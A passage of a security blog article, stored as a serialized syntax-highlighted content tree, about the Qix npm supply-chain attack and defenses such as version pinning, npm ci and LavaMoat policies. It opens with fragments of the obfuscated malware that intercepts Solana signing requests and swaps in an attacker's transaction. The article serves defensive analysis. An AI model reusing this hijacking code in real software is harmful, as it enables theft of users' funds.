_0x2c3d7e",{"type":24,"tag":83,"props":1251,"children":1252},{"style":107},[1253],{"type":29,"value":161},{"type":24,"tag":83,"props":1255,"children":1256},{"style":137},[1257],{"type":29,"value":1140},{"type":24,"tag":83,"props":1259,"children":1260},{"style":107},[1261],{"type":29,"value":1161},{"type":24,"tag":83,"props":1263,"children":1264},{"style":245},[1265],{"type":29,"value":1166},{"type":24,"tag":83,"props":1267,"children":1268},{"style":107},[1269],{"type":29,"value":1270},"] ",{"type":24,"tag":83,"props":1272,"children":1273},{"style":143},[1274],{"type":29,"value":1275},"=",{"type":24,"tag":83,"props":1277,"children":1278},{"style":137},[1279],{"type":29,"value":1194},{"type":24,"tag":83,"props":1281,"children":1282},{"style":107},[1283],{"type":29,"value":321},{"type":24,"tag":83,"props":1285,"children":1286},{"class":85,"line":203},[1287,1291,1296,1300,1305],{"type":24,"tag":83,"props":1288,"children":1289},{"style":107},[1290],{"type":29,"value":755},{"type":24,"tag":83,"props":1292,"children":1293},{"style":117},[1294],{"type":29,"value":1295},"catch",{"type":24,"tag":83,"props":1297,"children":1298},{"style":107},[1299],{"type":29,"value":223},{"type":24,"tag":83,"props":1301,"children":1302},{"style":137},[1303],{"type":29,"value":1304},"_0x226343",{"type":24,"tag":83,"props":1306,"children":1307},{"style":107},[1308],{"type":29,"value":1309},") {}\n",{"type":24,"tag":83,"props":1311,"children":1312},{"class":85,"line":212},[1313,1318,1322],{"type":24,"tag":83,"props":1314,"children":1315},{"style":107},[1316],{"type":29,"value":1317},"} ",{"type":24,"tag":83,"props":1319,"children":1320},{"style":117},[1321],{"type":29,"value":378},{"type":24,"tag":83,"props":1323,"children":1324},{"style":107},[1325],{"type":29,"value":125},{"type":24,"tag":83,"props":1327,"children":1328},{"class":85,"line":256},[1329,1333],{"type":24,"tag":83,"props":1330,"children":1331},{"style":117},[1332],{"type":29,"value":672},{"type":24,"tag":83,"props":1334,"children":1335},{"style":107},[1336],{"type":29,"value":1337}," (\n",{"type":24,"tag":83,"props":1339,"children":1340},{"class":85,"line":270},[1341,1346,1350,1354,1358,1362,1367],{"type":24,"tag":83,"props":1342,"children":1343},{"style":107},[1344],{"type":29,"value":1345},"    (",{"type":24,"tag":83,"props":1347,"children":1348},{"style":137},[1349],{"type":29,"value":1103},{"type":24,"tag":83,"props":1351,"children":1352},{"style":107},[1353],{"type":29,"value":161},{"type":24,"tag":83,"props":1355,"children":1356},{"style":137},[1357],{"type":29,"value":1112},{"type":24,"tag":83,"props":1359,"children":1360},{"style":143},[1361],{"type":29,"value":877},{"type":24,"tag":83,"props":1363,"children":1364},{"style":187},[1365],{"type":29,"value":1366}," 'solana_signTransaction'",{"type":24,"tag":83,"props":1368,"children":1369},{"style":143},[1370],{"type":29,"value":1371}," ||\n",{"type":24,"tag":83,"props":1373,"children":1374},{"class":85,"line":302},[1375,1380,1384,1388,1392,1397,1401],{"type":24,"tag":83,"props":1376,"children":1377},{"style":137},[1378],{"type":29,"value":1379},"      _0x2c3d7e",{"type":24,"tag":83,"props":1381,"children":1382},{"style":107},[1383],{"type":29,"value":161},{"type":24,"tag":83,"props":1385,"children":1386},{"style":137},[1387],{"type":29,"value":1112},{"type":24,"tag":83,"props":1389,"children":1390},{"style":143},[1391],{"type":29,"value":877},{"type":24,"tag":83,"props":1393,"children":1394},{"style":187},[1395],{"type":29,"value":1396}," 'solana_signAndSendTransaction'",{"type":24,"tag":83,"props":1398,"children":1399},{"style":107},[1400],{"type":29,"value":633},{"type":24,"tag":83,"props":1402,"children":1403},{"style":143},[1404],{"type":29,"value":1405},"&&\n",{"type":24,"tag":83,"props":1407,"children":1408},{"class":85,"line":324},[1409,1413,1417,1421],{"type":24,"tag":83,"props":1410,"children":1411},{"style":137},[1412],{"type":29,"value":1249},{"type":24,"tag":83,"props":1414,"children":1415},{"style":107},[1416],{"type":29,"value":161},{"type":24,"tag":83,"props":1418,"children":1419},{"style":137},[1420],{"type":29,"value":1140},{"type":24,"tag":83,"props":1422,"children":1423},{"style":143},[1424],{"type":29,"value":1425}," &&\n",{"type":24,"tag":83,"props":1427,"children":1428},{"class":85,"line":345},[1429,1433,1437,1441,1445,1449],{"type":24,"tag":83,"props":1430,"children":1431},{"style":137},[1432],{"type":29,"value":1249},{"type":24,"tag":83,"props":1434,"children":1435},{"style":107},[1436],{"type":29,"value":161},{"type":24,"tag":83,"props":1438,"children":1439},{"style":137},[1440],{"type":29,"value":1140},{"type":24,"tag":83,"props":1442,"children":1443},{"style":107},[1444],{"type":29,"value":1161},{"type":24,"tag":83,"props":1446,"children":1447},{"style":245},[1448],{"type":29,"value":1166},{"type":24,"tag":83,"props":1450,"children":1451},{"style":107},[1452],{"type":29,"value":1453},"]\n",{"type":24,"tag":83,"props":1455,"children":1456},{"class":85,"line":358},[1457],{"type":24,"tag":83,"props":1458,"children":1459},{"style":107},[1460],{"type":29,"value":1461},"  ) {\n",{"type":24,"tag":83,"props":1463,"children":1464},{"class":85,"line":367},[1465,1470],{"type":24,"tag":83,"props":1466,"children":1467},{"style":117},[1468],{"type":29,"value":1469},"    try",{"type":24,"tag":83,"props":1471,"children":1472},{"style":107},[1473],{"type":29,"value":125},{"type":24,"tag":83,"props":1475,"children":1476},{"class":85,"line":406},[1477,1482,1487,1491,1495,1499,1503,1507,1511],{"type":24,"tag":83,"props":1478,"children":1479},{"style":90},[1480],{"type":29,"value":1481},"      let",{"type":24,"tag":83,"props":1483,"children":1484},{"style":137},[1485],{"type":29,"value":1486}," _0x5ad975",{"type":24,"tag":83,"props":1488,"children":1489},{"style":143},[1490],{"type":29,"value":146},{"type":24,"tag":83,"props":1492,"children":1493},{"style":137},[1494],{"type":29,"value":1131},{"type":24,"tag":83,"props":1496,"children":1497},{"style":107},[1498],{"type":29,"value":161},{"type":24,"tag":83,"props":1500,"children":1501},{"style":137},[1502],{"type":29,"value":1140},{"type":24,"tag":83,"props":1504,"children":1505},{"style":107},[1506],{"type":29,"value":1161},{"type":24,"tag":83,"props":1508,"children":1509},{"style":245},[1510],{"type":29,"value":1166},{"type":24,"tag":83,"props":1512,"children":1513},{"style":107},[1514],{"type":29,"value":1515},"];\n",{"type":24,"tag":83,"props":1517,"children":1518},{"class":85,"line":427},[1519,1523,1527,1532,1536,1541],{"type":24,"tag":83,"props":1520,"children":1521},{"style":117},[1522],{"type":29,"value":276},{"type":24,"tag":83,"props":1524,"children":1525},{"style":107},[1526],{"type":29,"value":223},{"type":24,"tag":83,"props":1528,"children":1529},{"style":137},[1530],{"type":29,"value":1531},"_0x5ad975",{"type":24,"tag":83,"props":1533,"children":1534},{"style":107},[1535],{"type":29,"value":161},{"type":24,"tag":83,"props":1537,"children":1538},{"style":137},[1539],{"type":29,"value":1540},"transaction",{"type":24,"tag":83,"props":1542,"children":1543},{"style":107},[1544],{"type":29,"value":253},{"type":24,"tag":83,"props":1546,"children":1547},{"class":85,"line":440},[1548,1553,1557,1561,1565,1569],{"type":24,"tag":83,"props":1549,"children":1550},{"style":137},[1551],{"type":29,"value":1552},"        _0x5ad975",{"type":24,"tag":83,"props":1554,"children":1555},{"style":143},[1556],{"type":29,"value":146},{"type":24,"tag":83,"props":1558,"children":1559},{"style":137},[1560],{"type":29,"value":1486},{"type":24,"tag":83,"props":1562,"children":1563},{"style":107},[1564],{"type":29,"value":161},{"type":24,"tag":83,"props":1566,"children":1567},{"style":137},[1568],{"type":29,"value":1540},{"type":24,"tag":83,"props":1570,"children":1571},{"style":107},[1572],{"type":29,"value":321},{"type":24,"tag":83,"props":1574,"children":1575},{"class":85,"line":449},[1576],{"type":24,"tag":83,"props":1577,"children":1578},{"style":107},[1579],{"type":29,"value":364},{"type":24,"tag":83,"props":1581,"children":1582},{"class":85,"line":458},[1583,1588,1593,1597,1601,1605,1609,1613,1618],{"type":24,"tag":83,"props":1584,"children":1585},{"style":90},[1586],{"type":29,"value":1587},"      const",{"type":24,"tag":83,"props":1589,"children":1590},{"style":137},[1591],{"type":29,"value":1592}," _0x5dbe63",{"type":24,"tag":83,"props":1594,"children":1595},{"style":143},[1596],{"type":29,"value":146},{"type":24,"tag":83,"props":1598,"children":1599},{"style":101},[1600],{"type":29,"value":1203},{"type":24,"tag":83,"props":1602,"children":1603},{"style":107},[1604],{"type":29,"value":558},{"type":24,"tag":83,"props":1606,"children":1607},{"style":137},[1608],{"type":29,"value":1531},{"type":24,"tag":83,"props":1610,"children":1611},{"style":107},[1612],{"type":29,"value":568},{"type":24,"tag":83,"props":1614,"children":1615},{"style":90},[1616],{"type":29,"value":1617},"false",{"type":24,"tag":83,"props":1619,"children":1620},{"style":107},[1621],{"type":29,"value":581},{"type":24,"tag":83,"props":1623,"children":1624},{"class":85,"line":1065},[1625,1629,1633,1637,1641,1645,1649,1653,1658,1662],{"type":24,"tag":83,"props":1626,"children":1627},{"style":117},[1628],{"type":29,"value":276},{"type":24,"tag":83,"props":1630,"children":1631},{"style":107},[1632],{"type":29,"value":223},{"type":24,"tag":83,"props":1634,"children":1635},{"style":137},[1636],{"type":29,"value":1103},{"type":24,"tag":83,"props":1638,"children":1639},{"style":107},[1640],{"type":29,"value":161},{"type":24,"tag":83,"props":1642,"children":1643},{"style":137},[1644],{"type":29,"value":1140},{"type":24,"tag":83,"props":1646,"children":1647},{"style":107},[1648],{"type":29,"value":1161},{"type":24,"tag":83,"props":1650,"children":1651},{"style":245},[1652],{"type":29,"value":1166},{"type":24,"tag":83,"props":1654,"children":1655},{"style":107},[1656],{"type":29,"value":1657},"].",{"type":24,"tag":83,"props":1659,"children":1660},{"style":137},[1661],{"type":29,"value":1540},{"type":24,"tag":83,"props":1663,"children":1664},{"style":107},[1665],{"type":29,"value":253},{"type":24,"tag":83,"props":1667,"children":1669},{"class":85,"line":1668},20,[1670,1675,1679,1683,1687,1691,1695,1699,1703,1707],{"type":24,"tag":83,"props":1671,"children":1672},{"style":137},[1673],{"type":29,"value":1674},"        _0x2c3d7e",{"type":24,"tag":83,"props":1676,"children":1677},{"style":107},[1678],{"type":29,"value":161},{"type":24,"tag":83,"props":1680,"children":1681},{"style":137},[1682],{"type":29,"value":1140},{"type":24,"tag":83,"props":1684,"children":1685},{"style":107},[1686],{"type":29,"value":1161},{"type":24,"tag":83,"props":1688,"children":1689},{"style":245},[1690],{"type":29,"value":1166},{"type":24,"tag":83,"props":1692,"children":1693},{"style":107},[1694],{"type":29,"value":1657},{"type":24,"tag":83,"props":1696,"children":1697},{"style":137},[1698],{"type":29,"value":1540},{"type":24,"tag":83,"props":1700,"children":1701},{"style":143},[1702],{"type":29,"value":146},{"type":24,"tag":83,"props":1704,"children":1705},{"style":137},[1706],{"type":29,"value":1592},{"type":24,"tag":83,"props":1708,"children":1709},{"style":107},[1710],{"type":29,"value":321},{"type":24,"tag":83,"props":1712,"children":1714},{"class":85,"line":1713},21,[1715,1720,1724],{"type":24,"tag":83,"props":1716,"children":1717},{"style":107},[1718],{"type":29,"value":1719},"      } ",{"type":24,"tag":83,"props":1721,"children":1722},{"style":117},[1723],{"type":29,"value":378},{"type":24,"tag":83,"props":1725,"children":1726},{"style":107},[1727],{"type":29,"value":125},{"type":24,"tag":83,"props":1729,"children":1731},{"class":85,"line":1730},22,[1732,1736,1740,1744,1748,1752,1756,1760,1764],{"type":24,"tag":83,"props":1733,"children":1734},{"style":137},[1735],{"type":29,"value":1674},{"type":24,"tag":83,"props":1737,"children":1738},{"style":107},[1739],{"type":29,"value":161},{"type":24,"tag":83,"props":1741,"children":1742},{"style":137},[1743],{"type":29,"value":1140},{"type":24,"tag":83,"props":1745,"children":1746},{"style":107},[1747],{"type":29,"value":1161},{"type":24,"tag":83,"props":1749,"children":1750},{"style":245},[1751],{"type":29,"value":1166},{"type":24,"tag":83,"props":1753,"children":1754},{"style":107},[1755],{"type":29,"value":1270},{"type":24,"tag":83,"props":1757,"children":1758},{"style":143},[1759],{"type":29,"value":1275},{"type":24,"tag":83,"props":1761,"children":1762},{"style":137},[1763],{"type":29,"value":1592},{"type":24,"tag":83,"props":1765,"children":1766},{"style":107},[1767],{"type":29,"value":321},{"type":24,"tag":83,"props":1769,"children":1771},{"class":85,"line":1770},23,[1772],{"type":24,"tag":83,"props":1773,"children":1774},{"style":107},[1775],{"type":29,"value":364},{"type":24,"tag":83,"props":1777,"children":1779},{"class":85,"line":1778},24,[1780,1784,1788,1792,1797],{"type":24,"tag":83,"props":1781,"children":1782},{"style":107},[1783],{"type":29,"value":373},{"type":24,"tag":83,"props":1785,"children":1786},{"style":117},[1787],{"type":29,"value":1295},{"type":24,"tag":83,"props":1789,"children":1790},{"style":107},[1791],{"type":29,"value":223},{"type":24,"tag":83,"props":1793,"children":1794},{"style":137},[1795],{"type":29,"value":1796},"_0x4b99fd",{"type":24,"tag":83,"props":1798,"children":1799},{"style":107},[1800],{"type":29,"value":1309},{"type":24,"tag":83,"props":1802,"children":1804},{"class":85,"line":1803},25,[1805],{"type":24,"tag":83,"props":1806,"children":1807},{"style":107},[1808],{"type":29,"value":455},{"type":24,"tag":83,"props":1810,"children":1812},{"class":85,"line":1811},26,[1813],{"type":24,"tag":83,"props":1814,"children":1815},{"style":107},[1816],{"type":29,"value":464},{"type":24,"tag":1818,"props":1819,"children":1821},"h3",{"id":1820},"impact-of-the-attack",[1822],{"type":29,"value":1823},"Impact of the Attack",{"type":24,"tag":25,"props":1825,"children":1826},{},[1827],{"type":29,"value":1828},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":24,"tag":51,"props":1830,"children":1832},{"id":1831},"why-it-will-happen-again",[1833],{"type":29,"value":1834},"Why It Will Happen Again",{"type":24,"tag":25,"props":1836,"children":1837},{},[1838],{"type":29,"value":1839},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":24,"tag":25,"props":1841,"children":1842},{},[1843],{"type":29,"value":1844},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":24,"tag":51,"props":1846,"children":1848},{"id":1847},"what-developers-can-do",[1849],{"type":29,"value":1850},"What Developers Can Do",{"type":24,"tag":25,"props":1852,"children":1853},{},[1854],{"type":29,"value":1855},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":24,"tag":1818,"props":1857,"children":1859},{"id":1858},"_1-version-pinning-in-packagejson",[1860,1862],{"type":29,"value":1861},"1. Version pinning in ",{"type":24,"tag":32,"props":1863,"children":1865},{"className":1864},[],[1866],{"type":29,"value":1867},"package.json",{"type":24,"tag":25,"props":1869,"children":1870},{},[1871],{"type":29,"value":1872},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":24,"tag":25,"props":1874,"children":1875},{},[1876,1878,1884,1886,1892,1894,1899],{"type":29,"value":1877},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":24,"tag":32,"props":1879,"children":1881},{"className":1880},[],[1882],{"type":29,"value":1883},"npm install",{"type":29,"value":1885},". To pin it, just make sure to remove the caret ",{"type":24,"tag":32,"props":1887,"children":1889},{"className":1888},[],[1890],{"type":29,"value":1891},"^",{"type":29,"value":1893}," symbol before the version in ",{"type":24,"tag":32,"props":1895,"children":1897},{"className":1896},[],[1898],{"type":29,"value":1867},{"type":29,"value":195},{"type":24,"tag":73,"props":1901,"children":1904},{"code":1902,"language":743,"meta":7,"className":1903,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n","language-json shiki shiki-themes slack-dark",[1905],{"type":24,"tag":32,"props":1906,"children":1907},{"__ignoreMap":7},[1908,1930,1951,1972],{"type":24,"tag":83,"props":1909,"children":1910},{"class":85,"line":86},[1911,1916,1921,1926],{"type":24,"tag":83,"props":1912,"children":1913},{"style":187},[1914],{"type":29,"value":1915},"\"@react-native-async-storage/async-storage\"",{"type":24,"tag":83,"props":1917,"children":1918},{"style":107},[1919],{"type":29,"value":1920},": ",{"type":24,"tag":83,"props":1922,"children":1923},{"style":187},[1924],{"type":29,"value":1925},"\"1.23.1\"",{"type":24,"tag":83,"props":1927,"children":1928},{"style":107},[1929],{"type":29,"value":989},{"type":24,"tag":83,"props":1931,"children":1932},{"class":85,"line":113},[1933,1938,1942,1947],{"type":24,"tag":83,"props":1934,"children":1935},{"style":187},[1936],{"type":29,"value":1937},"\"@react-native-community/datetimepicker\"",{"type":24,"tag":83,"props":1939,"children":1940},{"style":107},[1941],{"type":29,"value":1920},{"type":24,"tag":83,"props":1943,"children":1944},{"style":187},[1945],{"type":29,"value":1946},"\"8.3.0\"",{"type":24,"tag":83,"props":1948,"children":1949},{"style":107},[1950],{"type":29,"value":989},{"type":24,"tag":83,"props":1952,"children":1953},{"class":85,"line":128},[1954,1959,1963,1968],{"type":24,"tag":83,"props":1955,"children":1956},{"style":187},[1957],{"type":29,"value":1958},"\"@react-native-community/netinfo\"",{"type":24,"tag":83,"props":1960,"children":1961},{"style":107},[1962],{"type":29,"value":1920},{"type":24,"tag":83,"props":1964,"children":1965},{"style":187},[1966],{"type":29,"value":1967},"\"11.4.1\"",{"type":24,"tag":83,"props":1969,"children":1970},{"style":107},[1971],{"type":29,"value":989},{"type":24,"tag":83,"props":1973,"children":1974},{"class":85,"line":183},[1975,1980,1984],{"type":24,"tag":83,"props":1976,"children":1977},{"style":187},[1978],{"type":29,"value":1979},"\"@react-native-picker/picker\"",{"type":24,"tag":83,"props":1981,"children":1982},{"style":107},[1983],{"type":29,"value":1920},{"type":24,"tag":83,"props":1985,"children":1986},{"style":187},[1987],{"type":29,"value":1988},"\"2.11.0\"\n",{"type":24,"tag":1818,"props":1990,"children":1992},{"id":1991},"_2-use-npm-ci",[1993,1995],{"type":29,"value":1994},"2. Use ",{"type":24,"tag":32,"props":1996,"children":1998},{"className":1997},[],[1999],{"type":29,"value":2000},"npm ci",{"type":24,"tag":25,"props":2002,"children":2003},{},[2004,2009,2011,2017,2019,2024],{"type":24,"tag":32,"props":2005,"children":2007},{"className":2006},[],[2008],{"type":29,"value":2000},{"type":29,"value":2010}," uses the dependency versions from ",{"type":24,"tag":32,"props":2012,"children":2014},{"className":2013},[],[2015],{"type":29,"value":2016},"package-lock.json",{"type":29,"value":2018}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":24,"tag":32,"props":2020,"children":2022},{"className":2021},[],[2023],{"type":29,"value":1883},{"type":29,"value":2025}," when adding a new package or updating an existing one.",{"type":24,"tag":1818,"props":2027,"children":2029},{"id":2028},"_3-implement-lavamoat",[2030,2032],{"type":29,"value":2031},"3. Implement ",{"type":24,"tag":2033,"props":2034,"children":2038},"a",{"href":2035,"rel":2036},"https://github.com/LavaMoat/LavaMoat/tree/main",[2037],"nofollow",[2039],{"type":24,"tag":2040,"props":2041,"children":2042},"strong",{},[2043],{"type":29,"value":2044},"Lavamoat",{"type":24,"tag":25,"props":2046,"children":2047},{},[2048],{"type":29,"value":2049},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":24,"tag":25,"props":2051,"children":2052},{},[2053],{"type":29,"value":2054},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":24,"tag":73,"props":2056,"children":2058},{"code":2057,"language":743,"meta":7,"className":1903,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[2059],{"type":24,"tag":32,"props":2060,"children":2061},{"__ignoreMap":7},[2062,2075,2087,2099,2116,2123,2131,2143,2154,2174,2190,2198,2210,2230,2246,2253,2260],{"type":24,"tag":83,"props":2063,"children":2064},{"class":85,"line":86},[2065,2070],{"type":24,"tag":83,"props":2066,"children":2067},{"style":187},[2068],{"type":29,"value":2069},"\"resources\"",{"type":24,"tag":83,"props":2071,"children":2072},{"style":107},[2073],{"type":29,"value":2074},": {\n",{"type":24,"tag":83,"props":2076,"children":2077},{"class":85,"line":113},[2078,2083],{"type":24,"tag":83,"props":2079,"children":2080},{"style":137},[2081],{"type":29,"value":2082},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":83,"props":2084,"children":2085},{"style":107},[2086],{"type":29,"value":2074},{"type":24,"tag":83,"props":2088,"children":2089},{"class":85,"line":128},[2090,2095],{"type":24,"tag":83,"props":2091,"children":2092},{"style":137},[2093],{"type":29,"value":2094},"      \"globals\"",{"type":24,"tag":83,"props":2096,"children":2097},{"style":107},[2098],{"type":29,"value":2074},{"type":24,"tag":83,"props":2100,"children":2101},{"class":85,"line":183},[2102,2107,2111],{"type":24,"tag":83,"props":2103,"children":2104},{"style":137},[2105],{"type":29,"value":2106},"        \"TextEncoder\"",{"type":24,"tag":83,"props":2108,"children":2109},{"style":107},[2110],{"type":29,"value":1920},{"type":24,"tag":83,"props":2112,"children":2113},{"style":90},[2114],{"type":29,"value":2115},"true\n",{"type":24,"tag":83,"props":2117,"children":2118},{"class":85,"line":203},[2119],{"type":24,"tag":83,"props":2120,"children":2121},{"style":107},[2122],{"type":29,"value":364},{"type":24,"tag":83,"props":2124,"children":2125},{"class":85,"line":212},[2126],{"type":24,"tag":83,"props":2127,"children":2128},{"style":107},[2129],{"type":29,"value":2130},"    },\n",{"type":24,"tag":83,"props":2132,"children":2133},{"class":85,"line":256},[2134,2139],{"type":24,"tag":83,"props":2135,"children":2136},{"style":137},[2137],{"type":29,"value":2138},"    \"@ethereumjs/util\"",{"type":24,"tag":83,"props":2140,"children":2141},{"style":107},[2142],{"type":29,"value":2074},{"type":24,"tag":83,"props":2144,"children":2145},{"class":85,"line":270},[2146,2150],{"type":24,"tag":83,"props":2147,"children":2148},{"style":137},[2149],{"type":29,"value":2094},{"type":24,"tag":83,"props":2151,"children":2152},{"style":107},[2153],{"type":29,"value":2074},{"type":24,"tag":83,"props":2155,"children":2156},{"class":85,"line":302},[2157,2162,2166,2170],{"type":24,"tag":83,"props":2158,"children":2159},{"style":137},[2160],{"type":29,"value":2161},"        \"console.warn\"",{"type":24,"tag":83,"props":2163,"children":2164},{"style":107},[2165],{"type":29,"value":1920},{"type":24,"tag":83,"props":2167,"children":2168},{"style":90},[2169],{"type":29,"value":1237},{"type":24,"tag":83,"props":2171,"children":2172},{"style":107},[2173],{"type":29,"value":989},{"type":24,"tag":83,"props":2175,"children":2176},{"class":85,"line":324},[2177,2182,2186],{"type":24,"tag":83,"props":2178,"children":2179},{"style":137},[2180],{"type":29,"value":2181},"        \"fetch\"",{"type":24,"tag":83,"props":2183,"children":2184},{"style":107},[2185],{"type":29,"value":1920},{"type":24,"tag":83,"props":2187,"children":2188},{"style":90},[2189],{"type":29,"value":2115},{"type":24,"tag":83,"props":2191,"children":2192},{"class":85,"line":345},[2193],{"type":24,"tag":83,"props":2194,"children":2195},{"style":107},[2196],{"type":29,"value":2197},"      },\n",{"type":24,"tag":83,"props":2199,"children":2200},{"class":85,"line":358},[2201,2206],{"type":24,"tag":83,"props":2202,"children":2203},{"style":137},[2204],{"type":29,"value":2205},"      \"packages\"",{"type":24,"tag":83,"props":2207,"children":2208},{"style":107},[2209],{"type":29,"value":2074},{"type":24,"tag":83,"props":2211,"children":2212},{"class":85,"line":367},[2213,2218,2222,2226],{"type":24,"tag":83,"props":2214,"children":2215},{"style":137},[2216],{"type":29,"value":2217},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":83,"props":2219,"children":2220},{"style":107},[2221],{"type":29,"value":1920},{"type":24,"tag":83,"props":2223,"children":2224},{"style":90},[2225],{"type":29,"value":1237},{"type":24,"tag":83,"props":2227,"children":2228},{"style":107},[2229],{"type":29,"value":989},{"type":24,"tag":83,"props":2231,"children":2232},{"class":85,"line":406},[2233,2238,2242],{"type":24,"tag":83,"props":2234,"children":2235},{"style":137},[2236],{"type":29,"value":2237},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":24,"tag":83,"props":2239,"children":2240},{"style":107},[2241],{"type":29,"value":1920},{"type":24,"tag":83,"props":2243,"children":2244},{"style":90},[2245],{"type":29,"value":2115},{"type":24,"tag":83,"props":2247,"children":2248},{"class":85,"line":427},[2249],{"type":24,"tag":83,"props":2250,"children":2251},{"style":107},[2252],{"type":29,"value":364},{"type":24,"tag":83,"props":2254,"children":2255},{"class":85,"line":440},[2256],{"type":24,"tag":83,"props":2257,"children":2258},{"style":107},[2259],{"type":29,"value":446},{"type":24,"tag":83,"props":2261,"children":2262},{"class":85,"line":449},[2263],{"type":24,"tag":83,"props":2264,"children":2265},{"style":107},[2266],{"type":29,"value":464},{"type":24,"tag":25,"props":2268,"children":2269},{},[2270,2272,2278,2280,2286,2288,2293,2295,2301,2302,2308],{"type":29,"value":2271},"In this example, it restricts the ",{"type":24,"tag":32,"props":2273,"children":2275},{"className":2274},[],[2276],{"type":29,"value":2277},"@ethereumjs/util",{"type":29,"value":2279}," package to use only ",{"type":24,"tag":32,"props":2281,"children":2283},{"className":2282},[],[2284],{"type":29,"value":2285},"console.warn",{"type":29,"value":2287}," and ",{"type":24,"tag":32,"props":2289,"children":2291},{"className":2290},[],[2292],{"type":29,"value":487},{"type":29,"value":2294}," functions, and to include only ",{"type":24,"tag":32,"props":2296,"children":2298},{"className":2297},[],[2299],{"type":29,"value":2300},"@ethereumjs/rlp",{"type":29,"value":2287},{"type":24,"tag":32,"props":2303,"children":2305},{"className":2304},[],[2306],{"type":29,"value":2307},"ethereum-cryptography",{"type":29,"value":2309}," packages.",{"type":24,"tag":25,"props":2311,"children":2312},{},[2313],{"type":29,"value":2314},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":24,"tag":25,"props":2316,"children":2317},{},[2318,2320,2327],{"type":29,"value":2319},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":24,"tag":2033,"props":2321,"children":2324},{"href":2322,"rel":2323},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[2037],[2325],{"type":29,"value":2326},"Object.freeze",{"type":29,"value":161},{"type":24,"tag":1818,"props":2329,"children":2331},{"id":2330},"lavamoat-vs-qix-malware",[2332],{"type":29,"value":2333},"Lavamoat vs Qix Malware",{"type":24,"tag":25,"props":2335,"children":2336},{},[2337,2339,2344],{"type":29,"value":2338},"If a dApp were compromised with the Qix malware (say it used ",{"type":24,"tag":32,"props":2340,"children":2342},{"className":2341},[],[2343],{"type":29,"value":37},{"type":29,"value":2345},"), it would need to perform the following actions to drain funds from a wallet:",{"type":24,"tag":63,"props":2347,"children":2348},{},[2349,2361,2372,2383],{"type":24,"tag":67,"props":2350,"children":2351},{},[2352,2354,2359],{"type":29,"value":2353},"Replace ",{"type":24,"tag":32,"props":2355,"children":2357},{"className":2356},[],[2358],{"type":29,"value":487},{"type":29,"value":2360}," function to a custom one",{"type":24,"tag":67,"props":2362,"children":2363},{},[2364,2366],{"type":29,"value":2365},"Access ",{"type":24,"tag":32,"props":2367,"children":2369},{"className":2368},[],[2370],{"type":29,"value":2371},"window.ethereum",{"type":24,"tag":67,"props":2373,"children":2374},{},[2375,2377,2382],{"type":29,"value":2376},"Call original ",{"type":24,"tag":32,"props":2378,"children":2380},{"className":2379},[],[2381],{"type":29,"value":487},{"type":29,"value":98},{"type":24,"tag":67,"props":2384,"children":2385},{},[2386],{"type":29,"value":2387},"Plus other actions not relevant here",{"type":24,"tag":25,"props":2389,"children":2390},{},[2391,2393,2399],{"type":29,"value":2392},"If the dApp is using Lavamoat with a generated policy for ",{"type":24,"tag":32,"props":2394,"children":2396},{"className":2395},[],[2397],{"type":29,"value":2398},"chalk 5.6.0",{"type":29,"value":2400}," (non-malicious version) it would look like this:",{"type":24,"tag":73,"props":2402,"children":2404},{"code":2403,"language":743,"meta":7,"className":1903,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[2405],{"type":24,"tag":32,"props":2406,"children":2407},{"__ignoreMap":7},[2408,2420,2431,2451,2467,2474],{"type":24,"tag":83,"props":2409,"children":2410},{"class":85,"line":86},[2411,2416],{"type":24,"tag":83,"props":2412,"children":2413},{"style":187},[2414],{"type":29,"value":2415},"\"chalk\"",{"type":24,"tag":83,"props":2417,"children":2418},{"style":107},[2419],{"type":29,"value":2074},{"type":24,"tag":83,"props":2421,"children":2422},{"class":85,"line":113},[2423,2427],{"type":24,"tag":83,"props":2424,"children":2425},{"style":137},[2426],{"type":29,"value":2094},{"type":24,"tag":83,"props":2428,"children":2429},{"style":107},[2430],{"type":29,"value":2074},{"type":24,"tag":83,"props":2432,"children":2433},{"class":85,"line":128},[2434,2439,2443,2447],{"type":24,"tag":83,"props":2435,"children":2436},{"style":137},[2437],{"type":29,"value":2438},"        